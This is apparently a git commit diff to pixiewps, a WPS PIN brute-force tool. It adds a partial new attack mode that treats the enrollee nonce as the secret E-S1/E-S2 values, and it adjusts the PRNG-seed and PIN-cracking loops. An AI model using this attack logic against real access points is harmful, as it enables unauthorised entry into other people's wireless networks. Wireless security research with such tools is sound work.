tyler.durden/pixiewps
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Updated to 1.0.5

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Half of a new attack's implementation added.
This commit is contained in:
wiire 2015-04-10 23:41:16 +02:00
parent 4c896ec44b
commit ab4a130073
1 changed files with 10 additions and 5 deletions
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15
src/pixiewps.c
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@ -5,7 +5,7 @@
* Special thanks to: datahead, soxrok2212 * Special thanks to: datahead, soxrok2212
* *
* Copyright (c) 2015, wiire <wi7ire@gmail.com> * Copyright (c) 2015, wiire <wi7ire@gmail.com>
* Version: 1.0 * Version: 1.0.5
* *
* DISCLAIMER: This tool was made for educational purposes only. * DISCLAIMER: This tool was made for educational purposes only.
* The author is NOT responsible for any misuse or abuse. * The author is NOT responsible for any misuse or abuse.
@ -214,13 +214,18 @@ int main(int argc, char **argv) {
gettimeofday(&t0, 0); gettimeofday(&t0, 0);
while (mode < 3 && !found) { while (mode < 4 && !found) {
first_half = 0; first_half = 0;
second_half = 0; second_half = 0;
/* PRNG bruteforce */
if (mode == 2 && e_nonce) { if (mode == 2 && e_nonce) {
memcpy(e_s1, e_nonce, NONCE_LEN);
memcpy(e_s2, e_nonce, NONCE_LEN);
}
/* PRNG bruteforce */
if (mode == 3 && e_nonce) {
/* Reducing entropy from 32 to 25 bits */ /* Reducing entropy from 32 to 25 bits */
unsigned int index = e_nonce[0] << 25; unsigned int index = e_nonce[0] << 25;
@ -255,7 +260,7 @@ int main(int argc, char **argv) {
} }
/* WPS pin cracking */ /* WPS pin cracking */
if (mode == 1 || (mode == 2 && print_seed)) { if (mode == 1 || (mode == 2 && e_nonce) || (mode == 3 && print_seed)) {
while (first_half < 10000) { while (first_half < 10000) {
uint_to_char_array(first_half, 4, s_pin); uint_to_char_array(first_half, 4, s_pin);
hmac_sha256(authkey, AUTHKEY_LEN, (unsigned char *) s_pin, 4, psk1); hmac_sha256(authkey, AUTHKEY_LEN, (unsigned char *) s_pin, 4, psk1);
@ -336,7 +341,7 @@ int main(int argc, char **argv) {
mode--; mode--;
if (found) { if (found) {
if (e_nonce && mode == 2) { if (e_nonce && mode == 3) {
printf("\n [*] PRNG Seed: %u", print_seed); printf("\n [*] PRNG Seed: %u", print_seed);
} }
printf("\n [*] ES-1: "); printf("\n [*] ES-1: ");